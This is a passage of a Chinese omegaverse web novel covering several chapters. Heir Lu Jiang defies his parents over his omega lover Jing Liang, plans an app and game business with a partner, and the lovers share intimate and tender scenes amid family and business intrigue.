“一夜之间,就给我捅出这么大个新闻,今天公司营销部都不知接了多少家媒体的电话,你的一言一行影响有多大,你心里到底有没有数?” 之前没有数,但是现在卢绛大概有了点数,景氏股票上午涨停就是最好的说明。 黎花:“他心里要是有数,也不会这么胡闹了!” 见他不说话,卢佑铭轻叹了口气,说道:“一开始不想定婚的是你,怎么在短短的时间内,你就和姓景的私定终身了?” 卢绛心里不大舒服,虽看起来乖顺,但字句铿锵有力,不容反驳:“不是私定终身,卢家没有退婚!” 卢佑铭:“可我有没有告诉过你,景凉不过是我们在D国打开市场的一枚棋子?你要跟一个声名狼藉的omega私混多久?” “那我也要告诉你们,我会和景凉结婚,他是我认定的omega,这辈子都不会再改变。” “这辈子?”卢佑铭不由觉得好笑,“你才多大,就跟我谈一辈子,一辈子的变数太大,你怎么就能确定不会变呢?” “我能确定。”卢绛迎上父亲质疑的眼神,无比坚定。 卢佑铭挑眉,也不生气,只是淡笑了声:“那你就试试。” 卢绛不解:“什么意思?” 卢佑铭:“那你就和他试试,两年之后,如果你还想跟他在一起,且,你们那时候还在一起,那卢家会考虑接受他。不过在此期间,我不会再管你。你十九岁也是该自食其力了。” 卢绛:“好,我答应。” “卢绛,你和他不会有结果。”卢父说得十分笃定,就好像他已经看到了后续剧情。 “我不信!只有试过才知道。” “你怎么能允许孩子这样胡闹?”黎花脸色铁青,失去往昔的温柔与慈祥,让卢绛觉得更加陌生。 “没关系,你也不要太操心,路是他自己在走的,摔了跟头疼了,下次就不会再犯同样的错误。”卢佑铭从始至终都一副宽宥松驰的样子,虽然说反对,却也没有做任何实际性的反对举措。 “这样一个心思歹毒,城府极深的人放在孩子身边,你能睡得着觉?”黎花隐忍着怒火气气不稳,转头看向卢绛:“有件事情我必须要告诉你。” 卢绛深吸了口气:“嗯。” 黎花:“宋家倒台,也有景凉的一份功劳,只是因为他和宋希濂不对付,他就能做到这个程度,你自己好好想一想,哪天你们之间没感情了,或者你没利用价值了,他会不会要你的命!” “你说……什么?”卢绛听到这个,难免震惊,毕竟景凉给他的感觉不是这样。 黎花冷笑,“你以为你很了解他?一个omega能坐在这个位置上,背后有多少龌龊的手段,你根本没有见识过!” “他被自家公司董事会的那帮人摆了一道,那也是恶有恶报,你身为卢家的继承人,怎么能不知轻重,跟这种omega搅和在一起,他利用了你!你还不清醒吗?你要不是卢家继承人,他根本看都不会看你一眼!” 卢绛神情凝重,似乎有些难过,“爸妈,我想回房间一个人静静。” 卢佑铭打断了黎花的说教,“行了,让他自己静一静吧,你说这么多,他听不进去也没用。” 卢绛一副失魂落魄的模样起身离开。 黎花视线放空,没再说话,细看之下眼神冷得吓人,紧握着的茶杯的指关节泛白,指甲划过瓷器发出一阵细小却刺耳的‘呲呲’声。 卢绛回到了自己的房间,才觉能大口的呼吸着新鲜空气。 刚才不得已顺着他们演了一下,不然没这么容易脱身。 黎花突然像是变了一个人,提起景凉时,恨不得将他撕肉嚼骨的恨意,从眼中迸发。 难道仅仅是因为她撮合黎宋两家联姻被打破,将帐算到了景凉头上? 从私心来说,她帮娘家人无可厚非,但从家族利益来说,明显她跟卢佑铭意见是相左的。 还有卢佑铭刚才那么笃定的语气,他到底在笃定什么? 卢绛心里说不出的烦躁、不安。 在阳台吹了半个小时冷风,手机传来信息提示音。 卢绛拿过手机点开阅读。 【景凉:你爸妈有没有责备你?要是有责备别放心上,洗个澡好好睡一觉。】 【卢绛:我想见你。】 【景凉:现在吗?】 【卢绛:嗯,等他们睡了我再去找你……】 【卢绛:我是不是太任性了?我知道你肯定很累,已经好几天没有睡好觉了。】 【卢绛:对不起,凉哥。】 【景凉:你来吧,我等你。】 卢绛看完信息,高兴的拿过换洗衣服去浴室洗澡了,人还在这里,心却早已飞到了景凉那边。 将近凌晨,卢绛随便拿了一串跑车钥匙,悄悄坐电梯来到属于他的停车库,摸黑离开了卢家。 只不过他的一举一动并未逃过父母的眼睛。 黎花站在窗前目送儿子的跑车如流星划过寂静的夜,拨弄着手中的碧玺玉珠嘲弄一笑,眼中浮现一丝狠戾。 卢绛赶到景凉的别墅已经凌晨十二点半。 是景凉亲自出来给他开的门,这个时间阿姨都睡了。 才刚下车,卢绛就给了他一个拥抱,用力得让景凉都喘不过气。 “你再这样抱着我,就要被你勒断气了。”高等alpha的身体素质很强悍,他长年练习自由搏击也难以抵挡一二。 卢绛笑着放开了他,拉着他飞快进了屋,门应声关上的一瞬,卢绛凶狠的将他抵住,攫取他唇间的香甜。 这样凶猛的刺探与压制,景凉几乎没有任何抵抗能力,alpha的信息素疯狂涌出,景凉只觉自己身置潮湿滚烫的蒸炉,想要挣脱,却不得章法。 “别……”景凉声音涩哑,身体抖得不像话,“我们先回房间?” “走不动路了。” “啊?” “哥,你可不可以帮帮我?” “别在门口。”景凉稍微将他推开,牵着他的手去了一楼的洗手间。 卢绛将人捞起脱力的景凉,“凉哥,你还好吗?” “你再多来两回,我得死在这里。”景凉终于找回自己的声音,十分虚弱沙哑。 “对不起,我刚才没控制住。”卢绛红了眼角,十分在意地问了句:“我表现得是不是很差劲?” 景凉深吸了口气,他有点害怕了,打死也想不到平时看起来乖顺有分寸的小狗,在这个事上会这么畜生啊! 看他一副要哭的表情,景凉又想笑,恶趣味道:“你要是哭一哭,说不定我能原谅你刚才的鲁莽。” 第49章 第49章 我做鸭比较有经验 景凉本来是想逗他玩儿, 看他脸红难为情的样子,哪能想到这个要求跟赦免死罪般在卢绛听来就是天籁。 下一秒,卢绛毫无负担的抱着他哭出声来,“对不起老婆, 你不要嫌弃我!下次, 下次我一定好好表现。呜……对不起……” 景凉强忍着笑着嘴角抽搐了好几次,看他哭得是真伤心, 心里也跟着泛酸, 安慰地拍了拍他的头:“好啦, 别哭了, 我又没有说你什么,阿绛最棒了!” 卢绛哭得头昏脑胀,心情复杂,汹涌的爱意对他这个新手而言难以把控, 他很想做到最好, 能够成熟一点让景凉完全信任依靠,抱着这样的心情想要去爱一个人, 却因为自己的私欲让他感到不适。 他突然彷徨不安, 恋人这个身份到底怎样做才算合格? 一开始就表现得很差,攒够了失望他会离开自己吗? 这世间连亲人都可以轻易背弃, 情人的身份怎么才能永久? “想什么呢?”景凉擦掉他脸上冰凉的泪痕, “现在我们在交往, 你心里在想什么, 能不能告诉我?有时候我也挺笨的, 猜不到你的心思。” “我害怕……” 景凉心口刺痛了下,“害怕?” “我表现不好,你有一天会不要我了。” 景凉轻抚着他的头发, 轻哄着:“怎么会?你又不是物件,怎么能说不要就不要呢?你是我认定的alpha,是我唯一的爱。” “来找你时,我下了很大的决心,我从来没有过这样勇敢,如果最后注定要被放弃,那为什么要开始呢?可是我太喜欢你了,我真的……很喜欢你!” 比任何人想像的还要更深的喜欢,那一晚他走到这里,用尽了所有的勇气。 此时景凉平静的心湖泛起圈圈涟漪,在此之前,他以为只有自己真的动了情,或许卢绛只是一时迷惑,他没有那么喜欢自己。 “对不起,是我太小看你了,我也很喜欢你,是唯一的喜欢。”景凉珍惜的吻了下他的额头。 “在月亮岛的时候,我最后决定去见你,我努力地压抑了很久,可是我没有忍住还是想要去找你,虽然你把我拉黑了。” 语落,委屈巴巴的垂下了脑袋,无声落泪。 景凉心疼地抱了抱他:“我为我的冲动和鲁莽道歉,我应该更耐性一点,等等你的。” “你不用道歉,是我自己的问题,我是个胆小鬼。” “阿绛不是胆小鬼,你都不知道,你自己有多优秀多勇敢。” “我很差劲的,以后你慢慢发现我有很多不好,就不会像现在这样喜欢我了。” “不会的,不管你是什么样子我都喜欢。” …… 景凉搂着他从洗手间哄到卧室,暗叹了口气,以后绝不能再让他哭了,emo的小alpha真的很难哄! 很难想像一个从小被捧在手掌心锦衣玉食,什么都不缺的少爷,怎么会养成这种性子? 明明很优秀,骨子里却很自卑。 孤独、敏感、情感脆弱,很难建立信任,需要反复确定对方的心意,如果不给回应或者给出负面情绪,就会像刚才那样直接emo,通过不断否定自己来获取对方的肯定。 因为没有安全感,所以几乎不会建立任何亲密关系和人生羁绊。 看着哭累沉睡过去的卢绛,景凉心情凝重,他心疼的吻了吻他的唇,呢喃低语:“你到底经历过什么?希望有一天,你可以和我说说,这一次我会用百分百的耐心来等你的。” 次日,景凉请了一上午假,亲自送卢绛去了机场。 卢绛一直没敢直视景凉的眼睛,他现在也搞不懂为什么会那么委屈的哭了很久,而且是当着景凉的面,这让他觉得很丢人。 景凉在一旁叮嘱了他许多话。 “到了给我一个电话。” “要好好学习,别老操心我的事,我会自己处好的。” “饭也要好好吃,卢绛……你有听我说话吗?” 卢绛脸红红的声音有点闷,“我知道的。” “怎么不看我?” 卢绛暗抽了口气,窘迫别开了脸去,“有点……丢人。” 景凉差点笑喷,但强忍了下来,怕再次给孩子的自尊心沉重一击,他安慰地拍拍卢绛的臂膀,“哪里丢人啊?可爱死了!” 卢绛脸红到脖子根,瞪着景凉:“我不可爱!” 景凉还是没忍住笑了,“对,你不可爱,你很帅!” 卢绛丧气地拉过行李,“我走了!” “欸……”景凉还想说点什么,他拉着小行李箱大步走出了十几米远。 景凉有些失落的站在原地,眼巴巴的目送着他的背影就要淹没在人群中,却见他撒手丢开行李,转身跑了回来。 “怎么了?是有什么东西没(拿)唔……” 卢绛发了狠地亲他,眷恋不舍,“你要等我回来,我很快就会回来的。” “好,我等你。” “我好舍不得你。” “小黏人精。” “为什么才刚谈恋爱就要分开?老天太残忍了。” “嗯,天杀的老天爷。” “你怎么看起来这么平淡?” 景凉无奈,“我虽然做不来像别的omega会撒娇,但是你要相信我心里很在乎你的,嗯?” “好吧,勉强相信。” 景凉手掌扣过他的后颈,主动吻了下他的唇,缠绵低语:“一路平安,我帅气的小alpha。” 卢绛这才满意地露出明媚的笑容,他退后了几步,用力朝景凉挥挥手,跑去找自己的行李了。 这一次是真的走了,淹没在人海中直到看不见。 下了飞机,卢绛开机后又是一堆信息轰炸。 他最先给景凉报了平安。 快速翻阅手机后只有两条有意义的信息,一封M国的邮件,一条好友申请。 邮件是知名fortune财经杂志主编发来的,他在环球财经论坛上的文章被采纳,希望得到使用授权刊登。 如果论文能刊登fortune,对卢绛本人来说无疑能在履历添上浓墨一笔,转学成功率也有了更大的保障。 他考虑了一下,没有通过校方,版面费用他自己可以承担,所以他直接回了这名主编的邮件,表示自己愿意授权。 之后他通过了陈又铮的好友申请,重生来到这个世界后,卢绛丢弃了以前所有的玩伴,换了一个新号码。 这次在群里自曝身份,引来了很多以前在一起玩的人申请添加好友信息。 他唯独通过了陈又铮的。 【陈:兄弟,你总算通过我的好友申请了!】 卢绛隔着屏幕盯着陈又铮的帐号,眼中迸发出滔天怒火。 编辑信息的手指用力到似乎要将手机屏幕戳穿。 【卢绛:照片是你拍的?】 【陈:给你出出气嘛,你以前不是挺恶心姓景的吗?帮你恶心恶心他而己。】 【卢绛:你算什么东西?以什么资格和身份?】 【陈:你生气了?】 【卢绛:你碰了我的人。】 【陈:嗐,这算什么事儿?大不了我的omega借你玩几天?】 【卢绛:暑假咱们确实得好好骤一骤,在此期间不要再做多余的事情。】 【陈:Ok,你回来的话我请你喝酒。】 【卢绛:离我的omega远一点。】 【陈:……】 【陈:行,我肯定离得远远的,大少爷您消消气。】 【卢绛:照片都删了,如果我发现还有任何一个群在传那些照片,你,包括整个陈家,都别想在帝都立足。】 【陈:我知道了,马上删干净!】 卢绛锁上手机屏幕,眼底的狠戾未消,就算如此,不会这么轻易算了,陈又铮必须付出惨痛的代价,以此杀鸡儆猴! * 陈家书房。 陈万川紧盯着儿子细微的表情,心里七上八下。 “怎么样了?姓卢的小子怎么说?” “能怎么说?难道要为了一个omega翻天?放心吧,只是向征性的警告了我两句,不会怎么样的,我跟他在一起玩了这么多年,我太了解他了。” 陈万川松了口气,“只要卢家不插手,姓景的就没什么好怕的,总之你自己要多注意点。” 陈又铮:“那姓景的真TM的能耐!这都能让他翻身,看来是真的把卢绛伺候舒服了,表面装得一本正经,在床上不知道有多骚!” 陈万川瞪了他一眼:“出去不要胡说八道!祸从口出,这姓景的没那么好对付。” “区区一个omega,有什么难对付?这次要不是卢绛出手,那些股东也会联名制裁他,他迟早是要卷铺盖走人。” 陈万川心火直冒,又有种深深的无力感,他是造了什么孽,养了这么个白痴儿子! 景凉手里有百分之十五的股份,另外百分之二十五在他母亲手里,想要制裁他没那么容易,董事会和股东里面肯定是有景家的人,不然一个omega也不可能安稳坐在那个位置这么多年。 * 上了一天的课,卢绛准备去学校食堂吃晚饭,就接到了霍临的电话。 “过来我家吃晚饭,顺便和你商量点工作上的事情。” “需要带菜吗?” 霍临被逗乐了:“第一次见这么自觉的,行,你爱吃什么菜就带吧。” “你会做饭?”卢绛有点不信。 “你对我是有什么误解吗?做饭是我第一个学会的生存技能。快来吧,把地址发你了,我先准备准备。” 卢绛去了一趟附近的超市,买了些普遍常吃的肉类,打车去了霍临的出租屋。 公寓的房子两室一厅,两个阳台,进来给卢绛的第一感觉收拾得还算整洁。 霍临从他手里接过购物袋,“都买了什么?这么沉。” “买了几罐啤酒,几样配菜,两斤牛肉和一只鸭子,鸭子是弄干净的。” “我可不会做鸭。” “我会做,我做鸭比较有经验。” 崔少霈目瞪口呆看着他俩。 卢绛看到呆愣站在卧房门口的崔少霈,很有礼貌的打了一声招呼,随后就跟霍临进了厨房。 卢绛拿出食材,回想崔少霈看他们的眼神,越想越觉得哪里不对劲。 “那个……霍哥,他是不是误会我们了?此做鸭非彼做鸭!” 霍临后知后觉,脸上一阵尴尬:“没事,问题不大。” 第50章 第 50 章 你睡前看这个睡得着觉?…… 两人的厨艺一半一半, 都会做几道拿手家常菜。 将菜摆上桌时看着特别丰盛。 几道大菜,霍临的红烧鱼,卢绛的啤酒鸭都色香味俱全。 “没想到你还有这一手。”崔少霈连连点头给予肯定。 “你烧的鱼也好吃。”卢绛大口吃菜,总感觉他吃什么都香。 崔少霈显得有点格格不入, 默默坐在一旁吃饭, 几乎不说话。 他的脖子还缠着绷带,脸上有道浅浅的划痕, 整个人很消瘦苍白。 他吃了一点就放下了筷子, “我吃好了, 两位慢用。” 霍临轻应了声, 也没管他,继续若无其事的吃饭。 卢绛若有所思,提醒了句:“是不是菜不太合胃口?我看他吃得很少,要不要另外弄点清淡的?” “不用管他, 管太多他反而不自在, 随他吧,都这么大个人了, 饿了会自己吃东西的。” 卢绛欲言又止。 吃完饭, 两人在客厅讨论着app接下来的营销,运营部提交了几个方案, 预算都有点超标了。 霍临眸拿出数据资料递给了他:“第一阶段的上架渠道覆盖完成率达百分之六十, 接触了几家手机品牌公司, 有意向第三方应用商店的合作, 最后是互联网营销, 弟弟,你有没有想过名人效应?” “明星代言费用不是都很高吗?以现在公司发展,成本预算很有限, 一开始就请明星代言不太现实。” “不是,你就没想过你自己吗?” “啊?” 霍临笑容狡黠:“你,帝都第一权少名头,英俊多金,最近还……风头很劲,对吧?就没想过利用这一点吗?” 卢绛眨了眨眼,他是没想到霍临会把主意打到他头上。 “怎么样?” “那还是请明星代言吧。”卢绛毫不犹豫的做下决定。 霍临一脸可惜:“你再好好考虑。” 卢绛一脸认真讨论着:“长远考虑,我想收购一家娱乐公司,然后培养自己的艺人和主播。” 霍临:“你可以自己先做一下直播,体验一下。” “我没有什么才艺。” “你长得帅啊!” “你也长得帅,你怎么不上?” “我要管公司,而且我一个公司总裁,去干直播……会不会显得很不沉稳庄重?我以后怎么出去谈项目?” “那还是花钱签几个主播吧。” “……” 霍临点头:“也行,先招一些主播进来试试,或者你手里资金足够,直接收购一家娱乐公司玩玩。” “不是玩玩。” “抱歉,用词不当。” 霍临将另一个文件夹递给了他,“看看这个。” 这是一份游戏开发项目计划书,游戏名为《荒野求生》,技竞类游戏,与卢绛原来的那个世界的吃鸡游戏十分类似。 “从哪找来的?” “网上,我直接联系了这个团队的策划,也是游戏的主设计师。万星之前的程序开发部只做过一些单机小游戏,最火的就是那个抓青蛙。” 卢绛粗略翻了下,很快看完给了霍临:“你做吧,要投多少钱我会想办法的。” “你真的一点都不怀疑?” “不怀疑,一定会大火的。” “你怎么知道?”霍临知道未来,但是却从来没跟卢绛提过这些。 “我原来的世界,网络科技和新媒体要比这里领先很多年,这个游戏会火的。” 霍临点头:“没错,这款游戏在未来十年会风靡全球,创下商业奇迹。” 两人又商定了一下未来的商业规划,以及目前可开发的项目及成本预算…… 一看时间,竟然已经晚上十点。 “今晚就到这吧,我先回学校了。” “行,你先回吧,自己打车可以吗?” 卢绛失笑:“你当我是三岁小孩?” “那还不是看你单纯好骗,万一遇到坏人可怎么办?”霍临打趣儿。 “走了哥。” “嗯,到学校报个平安。” 打车回学校时,卢绛看到了景凉发来的消息,九点的。 他上课与谈正事都喜欢将手机静音,看到消息后便第一时间回了。 【卢绛:对不起凉哥,才看到你的消息,我手机静音了。】 大概一分钟左右,景凉回了消息。 【景凉:准备睡觉了吗?】 【卢绛:没有,刚从朋友家出来,回学校的车上。】 【景凉:朋友?】他怎么不记得卢绛有这么要好的朋友? 【卢绛:是你考虑过的霍临。小狗emo.Jpg】 【景凉:呃……你不要误会,我心里只有你,那时候是真到绝境的无奈之举,你能解吗?】 【卢绛:嗯,我不会误会,只是小小的不开心了一下。】 【景凉:别不开心,么么头.jpg 你跟这个霍临是单纯的朋友还是……有什么合作?】 【卢绛:是我事业上的合伙人。】 【景凉:他人品好像不是很好。】景凉用词相当委婉。 【卢绛:他很有能力,深交之后,人品好像也没有那么坏。】 【景凉:有时间请他一起吃个饭吧,既然是你的朋友,我也想了解一下。】 【卢绛:当然,我们婚礼可以请他参加。】 【景凉:婚礼?】 【卢绛:不是说好要结婚的吗?难道凉哥你是哄我的?】 【景凉:怎么会呢?你父母怎么说?】 【卢绛:结婚是我们两个的事,不管他们怎么说,我都会和你结婚。】 【景凉:好,我知道了,不过也不必操之过急,你先好好学习。】 卢绛盯着聊天消息,总觉得景凉并没有很想和他结婚。 他总觉得是自己昨天晚上的冲动,可能太差劲把景凉吓到了,要不……找几个片看一看? 资源找霍临要就行了,他应该会有的吧? 【卢绛:凉哥,我到学校了,你早点休息吧,晚安。】 【景凉:嗯,晚安。】 景凉惆怅的看着手机屏幕,反复翻看着与卢绛的聊天记录,心里甜中泛酸。 今天傍晚母亲来了一趟,神情是从未有过的严肃。 “你真的已经考虑好了,选择卢绛做为你的alpha丈夫?” 景凉十指紧扣,郑重且坚定:“是的,妈妈,我……我想我爱他,看到他就想要跟他一生一世,他真的很好。” 景妈严峻的表情松动,轻叹了口气:“闹出这么大动静,从始至终卢家也没有人过来提要结婚的事情,可见卢家的长辈并不满意。” “没关系,只要能和他在一起,我愿意承受这些轻慢和委屈,不……其实我不觉得委屈,和他在一起,怎样都不算委屈。” 景妈既替他高兴,又替他担忧,“如果你爱的是一个普通人,那就更好了,但是感情来了,谁也控制不了,你可以爱他,但是孩子,你也要学会保护自己,人性是世界上最经不起考验的东西,一旦输了,就会一败涂地。” 景凉锁上手机屏幕,靠进沙发长舒了口气,他抱着卢绛穿过的睡袍在脸上蹭了蹭,“好想你,阿绛。” 真不应该放开他,一放开手,黏人的小狗就变成一只翱翔九天的飞鸟,海阔天空不知道会飞向哪里。 他会患得患失的等待,那个人变得好像也没那么想他。 * 卢绛洗漱好躺到床上,给霍临发了消息,这个时间霍临还处于大脑活跃期。 【卢绛:霍哥,我要准备睡觉了。】 【霍临:好的,小朋友晚安。】 【卢绛:那个……嗯,就是……】 【霍临:什么?别嗯嗯啊啊的,快说!】 【卢绛:你有片吗?】 【霍临:哈???】 【卢绛:没有算了。】 【霍临:有是有,但你睡前看这个睡得着觉?】 【卢绛:发我几部,要唯美一点的,不要多人,不要奇怪的道具。】 【霍临:这种我还真没有。】 【卢绛:!!!】 【霍临:不过我能找到资源,你等等,两分钟。】 两分钟后,霍临打包了一个文件夹发给他。 卢绛戴上耳机,点开文件夹,里面一共有十部片子,他精挑细选了一部,开始观摩学习。 霍临正准备退出资源库里,无意点开了其中一部,本来是没什么兴趣的,禁欲这么久,无意瞥了眼,一时间没能点叉退出。 里面的Omega白白嫩嫩的,叫的声音好听,C起来水也很多。 正看得入神之际,寂静的夜冷不丁传来一道尴尬的问候:“你大晚上不睡觉,是在看这个?” 霍临僵着脖子回头看去,尴尬得红了脸,一把将电脑合上,但不知道为什么声音还在外放。 “不是,你误会了,我之前一直在工作!是卢绛找我要片,我不小心点开了!” “不要外放声音,谢谢。” “呃,抱歉。” 霍临硬着头皮揭开电脑,将片子给关了。 气氛尴尬得连呼吸都困难,崔少霈站在原地不知道该回卧室还是若无其事的往前。 霍临率先打破僵局:“你怎么还没睡?” “上洗手间。” “哦,那你去吧。” 崔少霈垂眸看着自己的脚尖,埋头大步往洗手间走去,重重关上了门。 霍临长吁了口气,这种尴尬的情况好像还是上辈子。 每一次,那个人的发情期。 他被蒙上眼睛,不准抚摸,不准亲吻,不准随便乱动,他只是个可能会让他怀孕的工具,因为那人需要一个孩子。 他们床事上很难契合,匹配度也不高,怀上孩子太难了。 甚至结婚那么多年,只有临时标记,从未永久标记。 那人冷酷得不近人情,而他卑微得像条狗,不,狗活得比他更自在。 所以,他动了不该有的心思,错以为omega会好拿捏。 那噩梦一般的十年,他每一天都紧绷着神经,或许死了也不失为一种解脱。 崔少霈在洗手间等了好久,霍临并没有要起身离开的意思。 他只好硬着头皮又走了出来,假装没有看到他。 “崔少霈。”霍临突然叫住了他。 崔少霈眉头紧锁,表情极不自然的看向他:“有事吗?” 50-60 第51章 第51章 这不是一个好苗头,孤A寡O…… 霍临羞耻的热度散去, 恢复以往的从容不羁,“想问你饿不饿?我看你晚上没吃什么东西。皮蛋瘦肉粥吃吗?我去做。” 每晚睡前,霍临都习惯自己做宵夜,饿着肚子睡觉很难受。 崔少霈不自在的蜷起指尖, 眼神躲闪着, “随便。”说着‘随便’,人已经坐到了客厅沙发上。 霍临浅笑, 收拾了一下茶几上的文件, 起身去了厨房。 橘黄色的灯光下, 厨房里那道朦胧颀长的身影在忙碌, 开火,放水,粥水沸腾,白色的热气模糊了玻璃窗。 崔少霈心中一阵酸涩, 他不知道是什么改变了霍临, 和他在一起三年,记忆中的霍临和他没有什么感情可谈, 甚至在一起时, 大多只有金钱索取,连话都很少很少。 为什么会喜欢他呢? 崔少霈一直没弄清楚这个问题, 喜欢是一种感觉, 而不是一个答案。 他没破产前, 当舔狗当得所当然, 因为他有资本舔, 因为主导权在他的手上,他可以随时终止游戏,所以他不在乎什么舔不舔的, 只当是情趣。 也没有人会笑话他,全当他是情场风流。 如今他拖着残破的身躯,一无所有,自尊心也开始变得脆弱,不敢再随便说什么喜欢不喜欢,怕被笑话。 他真的没想到,霍临会收留他,会这样关照他,但霍临很坚定的不肯要那个孩子。 因为孩子会有扯不断的羁绊与纠缠吗? 说到底,还是因为他同情自己罢了,再多的感情应该也不会有,只是彼此不戳破,就相安无事的同在一个屋檐下。 四十多分钟后,霍临将煲好的粥盛了出来。 “来,小心烫。” “谢谢。” 霍临头也没抬的吃着碗里的粥,说了句:“吃不完就放着,我能吃完。” “嗯。”崔少霈悄悄打量了他一眼,触电般的又很快心虚的收回了视线。 心乱如麻。 霍临很快吃完了自己这份粥,崔少霈这次很努力的在进行光盘行动,因为味道不错,又确实饿了。 霍临拿纸巾擦了擦嘴,不由多嘴了一句:“医生开的药你有在吃吗?一定要按时吃药的,万一留下什么后遗症,到时候哭都来不及。” 也不知眼睛是不是被热气模糊,崔少霈喉咙发紧,心里不是滋味。 霍临看他呆坐在那里也不说话,疑惑问道:“怎么了?” 崔少霈深吸了口气,将眼里的泪水生生逼了回去,抽出纸巾醒了下鼻涕。 “为什么?” “什么为什么?” “我们之间好像没有感情可谈,我身上也没有钱可图,你收留我的目的,到底是什么?” “可能是我良心发现吧。” “良心?”崔少霈不由嘲讽一笑,“良心值几个钱?对你来说,钱才是最重要的,良心很廉价吧?” 霍临十分坦荡,“我发现,你还挺了解我。” 崔少霈:“我没在夸你。” 霍临装模作样的惋惜叹了口气:“谁说不是呢?我确实没什么太多的良心,你仔细想一想,一个年轻气盛的alpha收留一个单身omega,能图什么?除了那档子事,也没什么好图的吧?毕竟你也破产了。” 崔少霈紧握着手里的汤匙,用力到几乎要将它折弯。 “你应该最不缺床伴才对。” 包他的那三年,明知道霍临是他的人,不还是一堆见色起义的omega想要上前勾搭? 不要钱还愿意陪他睡觉的,应该很多。 “你也知道那些omega动不动就要我负责,万一未婚先孕岂不是很麻烦吗?我又不喜欢小孩。” 这句话深深痛刺了崔少霈的心。 所以霍临的意思是他崔少霈就能陪他随便玩玩不用负责? “我好像跟你口中所说的那些omega没有什么本质区别,霍临,你不会以为我还想跟你发生点什么吧?” 霍临心脏猛地紧缩了下,随后若无其事笑道:“我没这么想啊,至于你怎么想,那是你的事。” “我们之间的游戏早就结束了,我跟你……只是玩玩而己。” “玩玩而己?” 霍临笑容僵硬,沉默地收回了视线。 如果只是玩玩而己,如果对他没有一丝情份,那上一世他该死在崔少霈的手里。 连到死都无法解开的执念,现在却一脸冷漠的跟自己说只是玩玩而己。 谁信? 霍临起身收拾了茶几,将碗筷扔进了水槽中,打算明天清洗。 “去睡觉吧。”霍临催促着他,“你身上还有伤,要多休息才会好得快。” “你放心,我会尽快找房子搬出去。” “我没有这个意思。” “是我自己过意不去,我跟你非亲非故,没由一直赖在这里不走。” 霍临无奈,上前拽着他的胳膊,将他拉起推向卧室,“去睡觉,别多想,你乖一点。” 因最后这句‘乖一点’让崔少霈一张脸乍红,“你,你胡说什么?叫别人乖一点,你自己有多乖?” 霍临小臂撑着门边,一副痞子无赖样儿,“我现在学好了,也不会想着去找有钱的omega,自立更生努力学习和工作,我不乖吗?” “呵,那我替你爸妈高兴。” “关他们什么事?你该替我未来的老婆感到高兴。” “出去!”崔少霈红着脸,埋头轻轻的推了推他,然后顺手将卧室门反锁上。 哈,口是心非! 霍临也不知想到了什么,不由一笑,“居然有点可爱。” 不对劲,他怎么会觉得崔少霈可爱? 他哪里可爱了? 臭脾气、王子病、自尊心过剩、性格别扭……但他确实对自己很好。 这不是一个好苗头,孤A寡O同一个屋檐下,还挺容易培养感情。 霍临又想到前世那十年婚姻,他住在景凉给他买的高级公寓里,两人一年见不到五次面,有必要才会找他出来,稍微是要比牛郎好一点,年薪上千万哪里找? 这一世,他们应该没有什么交集,唯一的交集就是卢绛这个人。 卢绛没有死,所以蝴蝶效应了…… 他始终存疑,像景凉那样功利心极重,又城府深的人,对卢绛会有真心吗? 还是因为卢家继承人这个身份,所以都是演出来的? 霍临躺在床上想的事情乱七八糟,前世的,今生的……想着想着就睡了过去。 * 帝都连绵小雨持续了大半个月,终于放晴了。 景凉开完会与周洲回到办公室。 周洲拿过摇控器将办公室四周玻璃墙上的遮板放下,拿出这个月的财务报表。 景凉看了眼其中的利润表,月末上涨很明显,应该是卢绛力挺他之后,所产生的正面效应。 他拧开钢笔,在财务报表上签了字,印上了公章。 “红文件夹是加急要先看的,蓝色可以缓几天。”周洲打量了他一眼,气色不错,人也显得精神了。 最近因为负面消息,景凉也没什么心情处,堆积了不少工作。 “你坐吧,办公室里就我们两个人,不用拘着。” 周洲果断在一旁沙发椅里坐下,疲惫的喘了口气。 “你是真的会和卢绛结婚?已经决定了?” “嗯哼~” “我要跟你说个事。” “说。” “我已经在准备离婚了。” 景凉猛地从工作文件中抬起头,“终身标记很难洗,会有危险的,一开始还不如只做临时标记。” 临时标记能维持一个星期,自动消失后有需要再补。 周洲无所谓笑笑:“太脏了,我多看他一眼都嫌脏。” 景凉:“他能这么容易答应离婚?” 周洲:“当然没有,我买的房子他要分,我的财产也得分他一半。” 景凉拳头硬了:“离婚协议书签了?” 周洲:“还没呢,他还想多要点,我不同意。” 景凉:“打一顿就老实了,我让法律部重新给你拟离婚协议,这些年他吃你的用你的,连嫖女支的钱都是你的,还想分钱?他有命分吗?” 周洲瞪着眼,心里七上八下:“这……能行吗?” 景凉:“当然,看他是想要钱还是要命,对付流氓就得用流氓的方式才管用。” 周洲不由问了句:“那……你打算怎么对付姓陈的?” 景凉冷笑:“不急,他要在这个节骨眼上出事,只会将矛头将转向我,等过几个月,神不知鬼不觉才行。他不是喜欢赛车吗?啧,让他死得其所吧。” “卢绛怎么想的?他就一点行动都没有?就这样放过姓陈的?” “怎么?你想让他跑过去打姓陈的一顿?” “那也行啊,证明他在乎你。” 景凉失笑,摇了摇头。 “我说得不对吗?” “打一顿太便宜他了,小孩才会这么做。卢绛年纪不大,但做事很周全,不会这样冲动行事,并不是不在乎我。” “哈哈……”周洲干瘪笑了两声:“你就自我攻略吧!Alpha都是混蛋。” “我的阿绛不一样。”语气难掩的宠溺与自豪。 “啊对对对,你的阿绛是这个世界上最完美的alpha!” 景凉一点也不在乎周洲语气中的调侃,反而高兴道:“那当然,他就是最好的。” “我的小景总,是怎么从事业脑变成恋爱脑的?” “我好不容易能有一次心动的感觉,你就只管祝福我吧。” 周洲抻了个懒腰,起身无奈一笑:“嗯,我真心祝你能幸福,谢谢你阿凉,那我出去干活了。” “去吧。” 办公室的门应声关上,景凉的微笑渐渐在脸上消失,他拿过座机给法务部打了一个电话,将法务部的经叫了过来。 周洲是他的左膀右臂,也是他唯一的朋友,既然他下定决心离这个婚,那他做为老板兼朋友,就一定要帮他办得漂亮。 第52章 第52章 你抱稳一点,双腿用点力 卢绛像往常一样晚八开始录健身素材, 之前一直录的是跑步,很无聊单调的视频。 要么就是一日三餐,教学题纲,无声不露脸, 会配一些舒缓音乐, 营造岁月静好。 晚上他去了学校的建身室,点开手机豆奶(都来/哆莱)app准备录素材, 却发现粉丝激增。 刷一下就多出两三百个粉丝。 之前查看数据报表, 日活量也没有这么庞大啊! 寥寥无几的评论区多了上千条新评。 卢绛眉头皱得越来越紧, 地铁老人看手机, 没忍住回复。 【从知讯贴吧摸过来的,真的是卢绛吗?】 【卢绛:不是。】 